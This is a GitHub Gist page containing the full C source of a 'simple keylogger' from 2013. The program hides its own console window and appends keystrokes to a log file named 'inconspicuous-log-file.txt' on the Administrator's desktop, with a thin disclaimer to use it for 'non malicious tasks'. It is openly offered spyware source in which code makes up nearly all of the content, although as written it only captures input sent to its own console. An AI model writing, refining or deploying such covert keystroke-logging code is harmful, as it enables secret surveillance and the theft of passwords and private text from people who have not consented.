Last active
October 28, 2024 14:14
-
-
Save Codeplaza/7331068 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Simple keylogger by Jack Krix 2013. | |
Very important note: | |
Use for non malicious tasks! | |
I will NOT be held responsible for anything silly you may do with this! | |
UPDATE: This will only work if don't give focus to another window! | |
Don't click and this should work as long as no other windows steal focus. | |
*/ | |
#include <stdio.h> | |
#include <conio.h> | |
#include <windows.h> | |
#include <time.h> | |
#define PATH "C:/Users/Administrator/Desktop/inconspicuous-log-file.txt" | |
int main() | |
{ | |
char capture; | |
FILE *file; | |
// Time stuff. | |
char timeStarted[20]; | |
time_t now = time(NULL); | |
// Hide the window | |
HWND window; | |
AllocConsole(); | |
window=FindWindowA("ConsoleWindowClass",NULL); | |
ShowWindow(window,0); | |
file = fopen(PATH, "a+"); | |
strftime(timeStarted, 20, "%d-%m-%Y %H:%M:%S", localtime(&now)); | |
fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s (DD/MM/YY)\n", timeStarted); | |
while(1){ | |
Sleep(20); // To make sure this program doesn't steal all resources. | |
if (kbhit()){ | |
capture = getch(); | |
// Just add in some helper strings here to the file, feel free to modify these to your needs. | |
switch ((int)capture){ | |
case ' ': // Space key...obviously. | |
fprintf(file, " "); | |
break; | |
case 0x09: // Tab key. | |
fprintf(file, "[TAB]"); | |
break; | |
case 0x0D: // Enter key. | |
fprintf(file, "[ENTER]"); | |
break; | |
case 0x08: // Backspace key. | |
fprintf(file, "[BACKSPACE]"); | |
break; | |
case 0x1B: // Escape key. | |
fprintf(file, "[ESC]"); | |
fclose(file); | |
return 0; | |
default: | |
fputc(capture,file); // Put any other inputted key into the file. | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment